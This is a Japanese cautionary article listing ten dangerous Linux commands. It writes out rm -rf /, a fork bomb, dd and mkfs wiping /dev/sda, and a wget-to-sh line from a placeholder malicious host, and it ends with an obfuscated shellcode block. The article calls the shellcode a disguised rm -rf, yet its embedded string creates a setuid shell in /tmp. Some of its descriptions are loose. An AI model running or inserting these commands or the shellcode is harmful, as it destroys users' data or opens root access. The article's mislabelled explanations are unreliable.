1. `rm -rf` コマンド
`rm -rf` コマンドは、ディレクトリとその中身を一括で削除する最速の方法の一つです。しかし、このコマンドは、入力ミスや無知が原因でシステム全体を破壊する可能性があるため、非常に危険です。以下に `rm` コマンドの主なオプションを説明します。
`rm` コマンドは通常、Linux でファイルを削除するために使用されます。
`rm -r` オプションは、ディレクトリを再帰的に削除します。空でないディレクトリも含めて削除できます。
`rm -f` オプションは、読み取り専用ファイルであっても確認なしに強制的に削除します。多くのディストリビューションでは `rm` に `-i` (確認) オプションがエイリアスとして設定されているため、`-f` はその確認プロンプトを無効にします。
`rm -rf /`:ルートディレクトリ(`/`)以下のすべてを強制的に削除します。システムが完全に空になってしまいます。
`rm -rf *`:現在のディレクトリ内のすべてのファイルを強制的に削除します。
`rm -rf .`:現在のディレクトリとそのサブディレクトリを強制的に削除します。
このコマンドを実行する際は、常に注意が必要です。誤って重要なファイルを削除しないために、`.bashrc` ファイルで `rm` コマンドに `rm -i` のエイリアスを設定し、削除のたびに確認を求めるようにすることをお勧めします。
2. `:(){:|:&};:` コマンド
これはフォーク爆弾(Fork Bomb)の古典的な例です。名前が `:` である関数を定義し、それが自身を2回呼び出すようにしています。1回はフォアグラウンド、もう1回はバックグラウンドで実行されます。このプロセスは指数関数的に増殖し続け、システムのリソースをすべて消費してシステムダウンを引き起こします。
:(){:|:&};:
このコマンドを実行するのはやめましょう。特に本番環境のサーバーで試してはいけません。
3. `command > /dev/sda`
このコマンドは、ある「コマンド」の出力をブロックデバイス `/dev/sda` に書き込みます。この操作により、ブロックデバイス内のすべてのデータブロックがコマンドの出力データに置き換えられ、デバイス全体のデータが失われます。
4. `mv フォルダ /dev/null`
このコマンドは、特定の「フォルダ」を `/dev/null` に移動します。Linux における `/dev/null` は特殊なファイル(ブラックホール)で、そこに書き込まれたデータはすべて破棄されます。
# mv /home/user/* /dev/null
上記のコマンドは、ユーザーディレクトリ内のすべてのコンテンツを `/dev/null` に移動し、「ブラックホール」に吸い込まれたように消えてしまいます。
5. `wget http://malicious_source -O- | sh`
このコマンドは、(おそらく)悪意のあるソースからスクリプトをダウンロードして実行します。`wget` がスクリプトをダウンロードし、`sh` がそれを(条件なしで)実行します。
注意:スクリプトやパッケージをダウンロードする際は、そのソースを常に確認し、信頼できるソースからのみダウンロードするようにしてください。
6. `mkfs.ext3 /dev/sda`
このコマンドは、ブロックデバイス `sda` を `ext3` ファイルシステムでフォーマットします。このコマンドを実行すると、デバイス(ハードドライブ)上のすべてのデータが消去され、システムが使用不能な状態になります。
7. `> file`
このコマンドは、ファイルの内容を空にする(上書きする)ために使用されます。しかし、誤って `> xt.conf` のように入力すると、設定ファイルや重要なシステムファイルが上書きされてしまいます。ファイルに内容を追加したい場合は `>>` を使用してください。
8. `^foo^bar`
このコマンドは、前回実行したコマンドのテキストを置き換えるショートカットです。しかし、元の命令を十分に確認せずに使用すると、予期せぬ問題を引き起こす可能性があります。
9. `dd if=/dev/random of=/dev/sda`
このコマンドは、ブロックデバイス `sda` にランダムなデータを書き込み、ディスクを破壊します。これにより、システムが混乱し、回復不能な状態になることがあります。
10. 隠されたコマンド
以下のコマンドは、上記の最初のコマンド(`rm -rf`)の変種です。コードは16進数で隠されており、無知なユーザーは気づかずに実行してしまうかもしれません。このコマンドは、ルートパーティションを消去する可能性があります。これは、真の危険が隠されていることを示しています。常に、実行しているコマンドとその結果を注意深く確認する必要があります。未知のソースのコードをコンパイルまたは実行しないでください。
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
注意:これらのコマンドのいずれかをあなたのコンピューターの Linux ターミナルまたはシェルで実行しないでください。テストする場合は、必ず仮想マシン内で実行してください。これらのコマンドの実行によってシステムが破損したり、データが失われたりした場合、責任は負いかねます。